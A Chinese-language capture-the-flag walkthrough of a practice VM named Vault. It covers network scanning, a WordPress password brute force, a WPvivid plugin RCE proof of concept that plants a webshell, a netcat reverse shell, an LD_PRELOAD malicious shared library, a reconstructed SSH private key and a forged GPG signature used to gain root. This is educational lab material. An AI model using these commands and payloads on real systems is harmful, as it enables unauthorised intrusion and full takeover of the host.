信息收集

老规矩,先用arp-scan在内网里找找谁是活的。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
[sudo] password for kali:        

Interface: eth0, type: EN10MB, MAC: 00:0c:29:1c:b5:a2, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       VMware, Inc.
192.168.205.2   00:50:56:e0:22:04       VMware, Inc.
192.168.205.131 00:0c:29:c3:54:95       VMware, Inc.
192.168.205.189 08:00:27:18:df:ea       PCS Systemtechnik GmbH
192.168.205.254 00:50:56:e0:e2:35       VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.013 seconds (127.17 hosts/sec). 5 responded

目标IP 192.168.205.189 出现,接下来是端口扫描。为了不漏掉任何非标准端口,我直接扫全端口。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.189
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 00:43 -0400
Nmap scan report for 192.168.205.189
Host is up (0.00021s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:18:DF:EA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds

开了22和80端口,标准的Web+SSH组合。先从80端口的Web服务下手。

curl看一下首页源码,信息量很大,各种wp-开头的路径,明显是个WordPress站。

<!DOCTYPE html>
<html lang="zh-Hans">
<head>
        <meta charset="UTF-8" />
...
<meta name="generator" content="WordPress 6.9.4" />
...
<link rel="alternate" type="application/rss+xml" title="mazesec社区成员 &raquo; Feed" href="http://192.168.205.189/feed/" />
...
</body>
</html>

源码里直接标明了WordPress 6.9.4。用whatweb再确认一下。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ whatweb 192.168.205.189        
ERROR Opening: https://192.168.205.189 - Connection refused - connect(2) for "192.168.205.189" port 443
http://192.168.205.189 [200 OK] Apache[2.4.66], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.66 (Debian)], IP[192.168.205.189], MetaGenerator[WordPress 6.9.4], Script[application/json,importmap,module,speculationrules], Title[mazesec社区成员 &#8211; 加入我们], UncommonHeaders[link], WordPress[6.9.4]

whatweb的结果也证实了是WordPress 6.9.4,运行在Debian上的Apache 2.4.66。

初始突破

WordPress信息搜集

既然是WordPress,wpscan是必不可少的工具。我先用它来枚举用户和有漏洞的插件。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ wpscan --url http://192.168.205.189 -e vp,u --api-token ***
...
[+] WordPress version 6.9.4 identified (Outdated,released on 2026-03-11).
...
[+] WordPress theme in use: twentytwentyfive
 | [!] The version is out of date,the latest version is 1.5
...
[i] User(s) Identified:

[+] kaada
 | Found By: Rss Generator (Passive Detection)
...

wpscan扫出了一个用户名 kaada,并且提示WordPress版本和主题都有点旧。

当时我还用更激进的模式扫了一下插件,发现了一个WPvivid Backup & Migration插件的CVE (CVE-2026-1357)。但我尝试了公开的PoC,没能直接打成功,看到提示该漏洞需要在自动迁移生成密钥才能使用。

image-20260528130602573

密码猜解

既然有用户名kaada,下一步就是找密码。我试了rockyou字典的前几千行,没用。卡了一会,后面搞了好久,发现是从首页提取id生成字典。

curl -s http://192.168.205.189/ | grep -oP '(?<=<!--\s)[A-Za-z0-9_@.-]{6,}(?=\s-->)' > pass

这个命令把源码里所有被<!---->包裹的、长度大于等于6的字符串都提取出来,保存到pass文件里。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ wc -l pass                                                            
19 pass

生成了一个19行的字典,都是页面里出现过的用户名。用这个小字典去爆破kaada的密码,成功率应该会高很多。

wpscan --url http://192.168.205.189 -U kaada -P pass --random-user-agent
...
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - kaada / wea5e1                                                                                                                                                    
...
[!] Valid Combinations Found:
 | Username: kaada,Password: wea5e1
...

成功了!用户名kaada的密码是wea5e1

Getshell

拿到后台账号密码,我立刻登录进去。果然看到了之前那个WPvivid Backup & Migration插件。根据提示开启相对于的插件和生成密钥。

接下来就是利用漏洞了。我下载了网上的PoC。

git clone https://github.com/halilkirazkaya/CVE-2026-1357.git
cd CVE-2026-1357

在执行前,我留了个心眼,看了下exploit.py的源码。它默认的webshell是 <?php system($_GET["cmd"]); ?>。考虑到system函数被disable_functions禁用了,我把它改成了exec

image-20260528131421961

# exploit.py 源码片段
...
else:
    # content = '<?php system($_GET["cmd"]); ?>'
    content = '<?php exec($_GET["cmd"]); ?>'
...

改完后,我先试着执行id命令,但没有回显。

python3 exploit.py -u http://192.168.205.189 -s
...
[+] Verifying at: http://192.168.205.189/wp-content/uploads/lc2n7vpkmzwa2g0v66aqnvl4.php?cmd=id
[!] Shell responded with status 200
[!] Body: 

没回显是常事,直接上反弹shell。

在我的Kali上监听8888端口:

nc -lvnp 8888

然后用PoC执行反弹shell命令:

┌──(kali㉿kali)-[/mnt/…/gx/x/tmp/CVE-2026-1357]
└─$ python3 exploit.py -u http://192.168.205.189 -s "busybox nc 192.168.205.128 8888 -e /bin/bash"

   ╔══════════════════════════════════════════════════════════╗
   ║        CVE-2026-1357  WPvivid RCE PoC                    ║
   ║        WPvivid Backup & Migration <= 0.9.123             ║
   ╚══════════════════════════════════════════════════════════╝
  
[*] Target       : http://192.168.205.189/
[*] Mode         : Shell
[*] Upload path  : ../uploads/is9tgx7527a9o52u4bpjr0et.php
[*] Verify cmd   : busybox nc 192.168.205.128 8888 -e /bin/bash

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://192.168.205.189/wp-content/uploads/is9tgx7527a9o52u4bpjr0et.php?cmd=busybox nc 192.168.205.128 8888 -e /bin/bash

监听窗口收到了连接请求。

┌──(kali㉿kali)-[/mnt/…/gx/x/tmp/CVE-2026-1357]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.189] 53566
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功拿到www-data的shell。

权限提升

提权至 ta0

拿到的shell交互性很差,先用标准方法稳定一下。

script /dev/null -c bash
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
# 窗口大小每个人不一样,使用下面代码查询
# stty -a|grep 'row'|awk -F'[ ;]+' '{print "stty "$4,$5,$6,$7}'

为了寻找提权机会,我上传并运行了pspy64来监控系统进程。很快发现了一个以UID 1000(ta0)运行的定时任务。

2026/05/28 02:28:01 CMD: UID=1000  PID=2864   | /bin/bash /var/tmp/.sys_update 
2026/05/28 02:28:01 CMD: UID=1000  PID=2863   | /bin/sh -c /bin/bash /var/tmp/.sys_update 
2026/05/28 02:28:01 CMD: UID=0     PID=2862   | /usr/sbin/CRON -f 

查看这个脚本/var/tmp/.sys_update的内容。

www-data@Vault:/tmp$ cat /var/tmp/.sys_update
#!/bin/bash

curr_sec=$(date +%-S)
if [ $curr_sec -lt 30 ]; then
    diff=$((30 - curr_sec))
    read -t $diff <> <(:) > /dev/null 2>&1
fi

CONF="/var/tmp/.service_config"

if [ -f "$CONF" ]; then
    CHECK=$(grep -vE "^export [A-Z_]+=[/a-zA-Z0-9._-]+$" "$CONF")

    if [ -z "$CHECK" ]; then
        . "$CONF"
    fi
fi

exec -a "/usr/sbin/sys-stats-collect" /usr/bin/awk 'BEGIN{print "Job Done"}' > /dev/null 2>&1

这个脚本会检查/var/tmp/.service_config文件是否存在。如果存在,并且内容符合一个特定的正则表达式,就会用.命令(等同于source)来执行它。这意味着脚本会加载我们在这个文件中定义的环境变量。

这里典型的提权思路是利用LD_PRELOAD。我创建一个恶意的.so文件,然后在.service_config中设置LD_PRELOAD指向它。当ta0用户执行awk时,就会加载我的.so文件,以ta0的权限执行我预设的代码。

  1. 编写恶意C代码,功能是复制/bin/bash并给它加上SUID权限位。

    www-data@Vault:/tmp$ cat > /var/tmp/.evil.c << 'EOF'
    #include <stdlib.h>
    __attribute__((constructor)) void pwn() {
        system("cp /bin/bash /var/tmp/.b && chmod 4755 /var/tmp/.b");
    }
    EOF
    
  2. 编译成共享库.so文件。

    www-data@Vault:/tmp$ gcc -shared -fPIC -o /var/tmp/.evil.so /var/tmp/.evil.c -nostartfiles
    
  3. 创建.service_config文件,设置LD_PRELOAD

    www-data@Vault:/tmp$ echo 'export LD_PRELOAD=/var/tmp/.evil.so' > /var/tmp/.service_config
    

    现在只需要等待cron任务执行。最多一分钟,cron就会运行脚本,加载我们的恶意so文件。

www-data@Vault:/tmp$ ls -al /var/tmp/.b
-rwsr-xr-x 1 ta0 ta0 1168776 May 28 02:32 /var/tmp/.b
www-data@Vault:/tmp$ /var/tmp/.b -p
.b-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(ta0) groups=33(www-data)

成功了,执行这个带SUID的bash后,我获得了ta0的有效用户ID。

横向至 Sublarge

ta0的身份,我开始翻他的家目录。

.b-5.0$ cd /home/ta0/
.b-5.0$ ls -al
...
-rw------- 1 ta0  ta0   842 Apr 16 02:24 broken.txt
-rw------- 1 ta0  ta0  1842 Apr 11 11:17 key
-rw-r--r-- 1 root root   44 Mar 26 09:37 user.txt

发现一个broken.txt和一个key文件。broken.txt里是一道RSA解密题。

在一场代号为“暗箭”的安全行动中,MazeSec社区的老大ll104567获取了一台名为Vault的服务器的一些信息。该服务器由一名叫Sublarge的高级管理员管理。
你需要去获取加密的信息,才能得到Sublarge管理员的权限
据信,12138对Sublarge里面的一些信息做了手脚,你能发现吗?
ll104567获取到的信息如下:
N=34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533
e=65537
C=6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047
剩下的就需要靠你自己了,去计算出来p和q,就可以得到加密的信息了。
哦对了,这个加密的信息可以多次利用!

key文件则是一个损坏的SSH私钥。

-----BEGIN OPENSSH PRIVATE KEY-----
b3ByohfdbnhchskcbhdAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
...
sM***************************              #这里的信息被删除了
-----END RSA PRIVATE KEY-----

很明显,broken.txt里的RSA密文解出来就是key文件中被删除的那部分。用Python脚本分解N,计算出d,然后解密C。

from sympy import factorint

N=34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533
e=65537
C=6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047

f = factorint(N)
p,q = list(f.keys())
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
m = pow(C,d,N)
print(bytes.fromhex(hex(m)[2:]).decode())

执行脚本得到结果:

flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}

这个flag{...}字符串应该就是私钥缺失的部分。

再看损坏的key文件,它的头部b3ByohfdbnhchskcbhdA明显不对,正常的OpenSSH私钥头部应该是b3BlbnNzaC1rZXktdjE,我把它修正过来。尾部也从-----END RSA PRIVATE KEY-----修正为-----END OPENSSH PRIVATE KEY-----。然后用解密出的字符串替换掉sM***部分,得到一个完整的私钥,命名为id

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA8Le3BIFbL/x2Sj6XezgLN74alDkgAAAKA0SMbuYhfOdahinbXffT
5VvP/qBk9llf2jBMBGg0Jy2wMeAexvk8bRY18eEYVZTiES1alZgB//07hwSJWhfkd1l2Oh
ZGMjfOAQTo1ViBSdL9NaPe3Xqdy1398fglh6fsLYtAAism6RJI1KbCyBtTrUOGx5m/Fep2
DVs55XhuTEnq7cM/pnp8Wp1Kjuple/sUj0yTPm0L8zu6PLKLfrSFNKKGbDmiiS18wl6EgO
0/7awt3gNLBipJCxPaJuda6Zrs49lx0Pytd0uwwl/OhsHzqg6b8fXzKOZpy77+86+uAqol
A3puUCQV/QAAA8h6LZeOei2XjgAAAAdzc2gtcnNhAAABAQDwt7cEgVsv/HZKPpd7OAs3vh
qUOSAAAAoDRIxu5iF851qGKdtd99PlW8/+oGT2WV/aMEwEaDQnLbAx4B7G+TxtFjXx4RhV
lOIRLVqVmAH//TuHBIlaF+R3WXY6FkYyN84BBOjVWIFJ0v01o97dep3LXf3x+CWHp+wti0
ACKybpEkjUpsLIG1OtQ4bHmb8V6nYNWznleG5MSertwz+menxanUqO6mV7+xSPTJM+bQvz
O7o8sot+tIU0ooZsOaKJLXzCXoSA7T/trC3eA0sGKkkLE9om51rpmuzj2XHQ/K13S7DCX8
6GwfOqDpvx9fMo5mnLvv7zr64CqiUDem5QJBX9AAAAAwEAAQAAAQAqsescOXVbBYRVltR3
XnFe6bD9KUSru1YLTlU6NkcqSD6eHT5zZEmJHMe/eeNublu572cMQQ8/A7OEpSPQVtSI5K
+cvzf5tfaC5XBzqApyxQ+R2xQhjqtPH+cAVoMM1SkMtTo23QPRfEK9CNu2nNDwCTPJfyHo
9bfGPDSWLeEw5V0/2caiBTAWTLFaOY8RiISDU6RcSI5c/rTCHoBesIfUAsM7Y8eOB5+AqG
C9mUkDOTlAtoulEHGD7I799oQV/fdpeAuN/K/wvf33Xk8zdY9qRMNo+lyR0sDbRhalitmN
h9UzlV1AnEkFbuMjA8jY6UB6X2CY5V0wWs2/yxI2m81hAAAAgQDF7aw9j6alW3el9m0D1D
jqJhdis8rcGvHJn/twnA0Z2+zSvphlbn2Usks+HY7jEkTKmURccEAagWza2PphosJ8A/iB
TqYGygLTxnFL4rrOtKEE2QSwZ5GWZ2EVva7sVu70mA1Ei0mlFygD5VHcpAVavFlWeKsF87
0Jzht5plWIgwAAAIEA/jN85wH3aT1GW/4ndr8QVFQ9zeEPCPzWeUb9HlegPHvdfRcjiSN8
UZPtjTO4Qo4NSBd9KatNAn+5h+6wmFrjRCwNAqLy+eEyqgzbR51MNU4n1nkvG1YIEr4rXt
1llgpyGtny92AENbP3rYkSrAxt8XQQ+zjCKZTsmHhzeVkSEFcAAACBAPJrzN1zxtevT6Fi
fS19n1QHKZXzkM2qx8yLvtoDmcww+LpN3bNBFJM6oAGBaWi+z7wZ795PhrocBaX9JlRuuq
+GplGimONDqrMX468nOJLy61xZuj2L1hi8shWDranUEKwIQi9KHvYgjX4i9xoUfvVbB838
sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
.b-5.0$ chmod 600 id
.b-5.0$ sed -i 's/-----END RSA PRIVATE KEY-----/-----END OPENSSH PRIVATE KEY-----/' id
.b-5.0$ ssh -i id Sublarge@127.0.0.1
...
Sublarge@Vault:~$ id
uid=1001(Sublarge) gid=1001(Sublarge) groups=1001(Sublarge)

成功登录,现在是Sublarge用户了。

提权至 root

作为Sublarge用户,检查sudo权限。

Sublarge@Vault:~$ sudo -l
Matching Defaults entries for Sublarge on Vault:
    env_reset,mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User Sublarge may run the following commands on Vault:
    (root) NOPASSWD: /usr/local/bin/secure_audit

Sublarge可以免密以root身份执行/usr/local/bin/secure_audit。看看这个脚本干了什么。

Sublarge@Vault:~$ cat /usr/local/bin/secure_audit
#!/bin/bash
GPG_BIN="/usr/bin/gpg"
PUB_KEY="/home/Sublarge/audit_pub.asc"
REPORT="/var/tmp/report.gpg"

$GPG_BIN --import "$PUB_KEY"

if $GPG_BIN --batch --trust-model always --verify "$REPORT"; then
    echo "[+] 签名验证通过,正在执行审计指令..."
    CMD=$($GPG_BIN --batch --decrypt "$REPORT" 2>/dev/null)
    eval "$CMD"
else
    echo "[-] 签名校验失败!"
    exit 1
fi

脚本会导入一个公钥,验证一个报告文件/var/tmp/report.gpg的签名,如果验证通过,就解密报告内容并通过eval执行。

这是一个典型的GPG签名伪造提权。我们可以自己生成一对GPG密钥,然后用自己的私钥签名一个恶意命令,再让脚本以root身份执行。

  1. 生成自己的GPG密钥对。

    Sublarge@Vault:~$ gpg --batch --gen-key <<EOF
    Key-Type: RSA
    Key-Length: 2048
    Name-Real: Audit
    Name-Email: audit@vault
    Expire-Date: 0
    %no-protection
    %commit
    EOF
    
  2. 导出公钥,覆盖脚本要用的公钥文件。

    Sublarge@Vault:~$ gpg --export --armor audit@vault > /home/Sublarge/audit_pub.asc
    
  3. 创建并签名恶意命令,内容是给/bin/bash加上SUID权限。

    Sublarge@Vault:~$ echo 'chmod u+s /bin/bash' | gpg --batch --sign --armor --trust-model always -o /var/tmp/report.gpg
    
  4. 以root身份执行审计脚本。

    Sublarge@Vault:~$ sudo /usr/local/bin/secure_audit
    gpg: directory '/root/.gnupg' created
    ...
    gpg: Good signature from "Audit <audit@vault>" [unknown]
    [+] 签名验证通过,正在执行审计指令...
    

    脚本成功验证了我们自己的签名,并执行了chmod命令。现在,/bin/bash应该已经有了SUID位。

Sublarge@Vault:~$ /bin/bash -p
bash-5.0# id
uid=1001(Sublarge) gid=1001(Sublarge) euid=0(root) groups=1001(Sublarge)

执行/bin/bash -p,成功拿到root权限。打完收工。